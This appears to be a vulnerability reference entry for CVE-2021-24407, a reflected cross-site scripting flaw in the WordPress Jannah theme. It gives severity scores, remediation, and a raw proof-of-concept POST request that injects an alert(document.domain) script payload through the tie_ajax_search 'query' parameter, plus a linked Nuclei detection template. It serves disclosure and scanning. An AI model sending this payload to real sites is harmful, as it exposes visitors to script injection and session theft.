| Title | WordPress Jannah Theme <5.4.5 - Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update the Jannah Theme to version 5.4.5 or later, which includes proper input sanitization to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.20956 |
| CVE ID | CVE-2021-24407 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wordpress xss wp-theme wpscan tielabs vuln |
WordPress Jannah theme before 5.4.5 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the ‘query’ POST parameter in its tie_ajax_search AJAX action.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/12.0
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Connection: close
Content-Length: 79
Accept-Encoding: gzip
action=tie_ajax_search&query[]=</script><script>alert(document.domain)</script>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24407.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24407.pcap
N/AN/A